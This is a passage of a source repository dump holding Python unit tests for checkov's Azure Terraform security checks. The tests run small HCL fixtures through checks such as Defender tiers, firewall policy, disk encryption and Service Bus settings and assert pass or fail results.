"kustocluster" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name sku { name = "Standard_D13_v2" capacity = 2 } double_encryption_enabled = true tags = { Environment = "Production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_kusto_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureDefenderDisabledForResManager.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AzureDefenderDisabledForResManager import check class TestAzureDefenderDisabledForResManager(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AzureDefenderDisabledForResManager") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_security_center_subscription_pricing.pass_1', 'azurerm_security_center_subscription_pricing.pass_2', 'azurerm_security_center_subscription_pricing.pass_3', } failing_resources = { 'azurerm_security_center_subscription_pricing.fail_1', } skipped_resources = {} passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureDefenderOnAppServices.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AzureDefenderOnAppServices import check from checkov.common.models.enums import CheckResult class TestAzureDefenderOnAppServices(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Free" resource_type = "AppServices" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Standard" resource_type = "AppServices" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureDefenderOnContainerRegistry.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AzureDefenderOnContainerRegistry import check from checkov.common.models.enums import CheckResult class TestAzureDefenderOnContainerRegistry(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Free" resource_type = "ContainerRegistry" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Standard" resource_type = "ContainerRegistry" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureDefenderOnKeyVaults.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AzureDefenderOnKeyVaults import check from checkov.common.models.enums import CheckResult class TestAzureDefenderOnKeyVaults(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Free" resource_type = "KeyVaults" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Standard" resource_type = "KeyVaults" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureDefenderOnKubernetes.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AzureDefenderOnKubernetes import check from checkov.common.models.enums import CheckResult class TestAzureDefenderOnKubernetes(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Free" resource_type = "KubernetesService" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Standard" resource_type = "KubernetesService" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureDefenderOnServers.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AzureDefenderOnServers import check from checkov.common.models.enums import CheckResult class TestAzureDefenderOnServers(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Free" resource_type = "VirtualMachines" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Standard" resource_type = "VirtualMachines" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureDefenderOnSqlServers.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AzureDefenderOnSqlServers import check from checkov.common.models.enums import CheckResult class TestAzureDefenderOnSqlServers(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Free" resource_type = "SqlServers" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Standard" resource_type = "SqlServers" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureDefenderOnSqlServersVMS.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AzureDefenderOnSqlServerVMS import check from checkov.common.models.enums import CheckResult class TestAzureDefenderOnSqlServersVMS(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Free" resource_type = "SqlServerVirtualMachines" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Standard" resource_type = "SqlServerVirtualMachines" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureDefenderOnStorage.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AzureDefenderOnStorage import check from checkov.common.models.enums import CheckResult class TestAzureDefenderOnStorage(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Free" resource_type = "StorageAccounts" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Standard" resource_type = "StorageAccounts" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureFirewallDefinesPolicy.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AzureFirewallDefinesPolicy import check from checkov.terraform.runner import Runner class TestAzureFirewallDefinesPolicy(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_AzureFirewallDefinesPolicy" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_firewall.pass", } failing_resources = { "azurerm_firewall.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureFirewallDenyThreatIntelMode.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AzureFirewallDenyThreatIntelMode import check class TestAzureFirewallDenyThreatIntelMode(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AzureFirewallDenyThreatIntelMode") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_firewall.pass', } failing_resources = { 'azurerm_firewall.fail', 'azurerm_firewall.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureFirewallPolicyIDPSDeny.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AzureFirewallPolicyIDPSDeny import check from checkov.terraform.runner import Runner class TestAzureFirewallPolicyIDPSDeny(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_AzureFirewallPolicyIDPSDeny" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_firewall_policy.pass", } failing_resources = { "azurerm_firewall_policy.fail", "azurerm_firewall_policy.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureFrontDoorEnablesWAF.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AzureFrontDoorEnablesWAF import check class TestAzureFrontDoorEnablesWAF(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AzureFrontDoorEnablesWAF") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_frontdoor.pass', } failing_resources = { 'azurerm_frontdoor.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureInstanceExtensions.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AzureInstanceExtensions import check from checkov.terraform.runner import Runner class TestAzureInstanceExtensions(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_AzureInstanceExtensions" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_linux_virtual_machine.disabled", "azurerm_windows_virtual_machine.disabled", } failing_resources = { "azurerm_linux_virtual_machine.default", "azurerm_linux_virtual_machine.enabled", "azurerm_windows_virtual_machine.default", "azurerm_windows_virtual_machine.enabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureInstancePassword.py ================================================ import unittest from checkov.terraform.checks.resource.azure.AzureInstancePassword import check from checkov.common.models.enums import CheckResult class TestAzureInstancePassword(unittest.TestCase): def test_failure(self): resource_conf = { "name": ["${var.prefix}-vm"], "location": ["${azurerm_resource_group.main.location}"], "resource_group_name": ["${azurerm_resource_group.main.name}"], "network_interface_ids": [["${azurerm_network_interface.main.id}"]], "vm_size": ["Standard_DS1_v2"], "storage_image_reference": [ {"publisher": ["Canonical"], "offer": ["UbuntuServer"], "sku": ["16.04-LTS"], "version": ["latest"]} ], "storage_os_disk": [ { "name": ["myosdisk1"], "caching": ["ReadWrite"], "create_option": ["FromImage"], "managed_disk_type": ["Standard_LRS"], } ], "os_profile": [ {"computer_name": ["hostname"], "admin_username": ["testadmin"], "admin_password": ["Password1234!"]} ], "os_profile_linux_config": [{"disable_password_authentication": [False]}], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): resource_conf = { "name": ["${var.prefix}-vm"], "location": ["${azurerm_resource_group.main.location}"], "resource_group_name": ["${azurerm_resource_group.main.name}"], "network_interface_ids": [["${azurerm_network_interface.main.id}"]], "vm_size": ["Standard_DS1_v2"], "storage_image_reference": [ {"publisher": ["Canonical"], "offer": ["UbuntuServer"], "sku": ["16.04-LTS"], "version": ["latest"]} ], "storage_os_disk": [ { "name": ["myosdisk1"], "caching": ["ReadWrite"], "create_option": ["FromImage"], "managed_disk_type": ["Standard_LRS"], } ], "os_profile": [ {"computer_name": ["hostname"], "admin_username": ["testadmin"], "admin_password": ["Password1234!"]} ], "os_profile_linux_config": [{"disable_password_authentication": [True]}], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureManagedDiscEncryption.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AzureManagedDiskEncryption import check from checkov.terraform.runner import Runner class TestAzureManagedDiskEncryption(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_AzureManagedDiskEncryption" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_managed_disk.pass", "azurerm_managed_disk.pass2", "azurerm_managed_disk.pass3", } failing_resources = { "azurerm_managed_disk.fail", "azurerm_managed_disk.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureManagedDiskEncryptionSet.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AzureManagedDiskEncryptionSet import check class TestAzureManagedDiskEncryptionSet(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_AzureManagedDiskEncryptionSet" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_managed_disk.pass", } failing_resources = { "azurerm_managed_disk.fail", } skipped_resources = {} passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], len(skipped_resources)) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureScaleSetPassword.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AzureScaleSetPassword import check from checkov.common.models.enums import CheckResult class TestAzureScaleSetPassword(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_linux_virtual_machine_scale_set" "example" { name = var.scaleset_name resource_group_name = var.resource_group.name location = var.resource_group.location sku = var.sku instances = var.instance_count admin_username = var.admin_username disable_password_authentication = false tags = var.common_tags } """) resource_conf = hcl_res['resource'][0]['azurerm_linux_virtual_machine_scale_set']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_linux_virtual_machine_scale_set" "example" { name = var.scaleset_name resource_group_name = var.resource_group.name location = var.resource_group.location sku = var.sku instances = var.instance_count admin_username = var.admin_username disable_password_authentication = true admin_ssh_key { username = var.admin_username public_key = tls_private_key.new.public_key_pem } tags = var.common_tags } """) resource_conf = hcl_res['resource'][0]['azurerm_linux_virtual_machine_scale_set']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureSearchAllowedIPsNotGlobal.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AzureSearchAllowedIPsNotGlobal import check class TestAzureSearchAllowedIPsNotGlobal(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_AzureSearchAllowedIPsNotGlobal" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_search_service.default", "azurerm_search_service.private", } failing_resources = { "azurerm_search_service.public", } skipped_resources = {} passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], len(skipped_resources)) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureSearchManagedIdentity.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AzureSearchManagedIdentity import check class TestAzureSearchManagedIdentity(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AzureSearchManagedIdentity") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_search_service.pass' } failing_resources = { 'azurerm_search_service.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureSearchPublicNetworkAccessDisabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AzureSearchPublicNetworkAccessDisabled import check class TestAzureSearchPublicNetworkAccessDisabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AzureSearchPublicNetworkAccessDisabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_search_service.pass' } failing_resources = { 'azurerm_search_service.fail', 'azurerm_search_service.fail2' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureSearchSLAIndex.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AzureSearchSLAIndex import check class TestAzureSearchSLAIndex(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AzureSearchSLAIndex") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_search_service.pass' } failing_resources = { 'azurerm_search_service.fail', 'azurerm_search_service.fail2' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureSearchSLAQueryUpdates.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AzureSearchSLAQueryUpdates import check class TestAzureSearchSLAQueryUpdates(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AzureSearchSLAQueryUpdates") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_search_service.pass' } failing_resources = { 'azurerm_search_service.fail', 'azurerm_search_service.fail2' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureServiceFabricClusterProtectionLevel.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AzureServiceFabricClusterProtectionLevel import check from checkov.common.models.enums import CheckResult class TestAzureServiceFabricClusterProtectionLevel(unittest.TestCase): def test_passing(self): hcl_res = hcl2.loads(""" resource "azurerm_service_fabric_cluster" "example" { name = "example-servicefabric" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location reliability_level = "Bronze" upgrade_mode = "Manual" cluster_code_version = "7.1.456.959" vm_image = "Windows" management_endpoint = "https://example:80" fabric_settings { name = "Security" parameters = { name = "ClusterProtectionLevel" value = "EncryptAndSign" } } node_type { name = "first" instance_count = 3 is_primary = true client_endpoint_port = 2020 http_endpoint_port = 80 } } """) resource_conf = hcl_res['resource'][0]['azurerm_service_fabric_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_missing(self): hcl_res = hcl2.loads(""" resource "azurerm_service_fabric_cluster" "example" { name = "example-servicefabric" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location reliability_level = "Bronze" upgrade_mode = "Manual" cluster_code_version = "7.1.456.959" vm_image = "Windows" management_endpoint = "https://example:80" node_type { name = "first" instance_count = 3 is_primary = true client_endpoint_port = 2020 http_endpoint_port = 80 } } """) resource_conf = hcl_res['resource'][0]['azurerm_service_fabric_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_wrong(self): def test_passing(self): hcl_res = hcl2.loads(""" resource "azurerm_service_fabric_cluster" "example" { name = "example-servicefabric" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location reliability_level = "Bronze" upgrade_mode = "Manual" cluster_code_version = "7.1.456.959" vm_image = "Windows" management_endpoint = "https://example:80" fabric_settings { name = "Security" parameters = { name = "ClusterProtectionLevel" value = "Sign" } } node_type { name = "first" instance_count = 3 is_primary = true client_endpoint_port = 2020 http_endpoint_port = 80 } } """) resource_conf = hcl_res['resource'][0]['azurerm_service_fabric_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureServicebusDoubleEncryptionEnabled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AzureServicebusDoubleEncryptionEnabled import check from checkov.terraform.runner import Runner class TestAzureServicebusDoubleEncryptionEnabled(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_AzureServicebusDoubleEncryptionEnabled" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_servicebus_namespace.pass", } failing_resources = { "azurerm_servicebus_namespace.fail", "azurerm_servicebus_namespace.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureServicebusHasCMK.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AzureServicebusHasCMK import check from checkov.terraform.runner import Runner class TestAzureServicebusHasCMK(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_AzureServicebusHasCMK" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_servicebus_namespace.pass", } failing_resources = { "azurerm_servicebus_namespace.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureServicebusIdentityProviderEnabled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AzureServicebusIdentityProviderEnabled import check from checkov.terraform.runner import Runner class 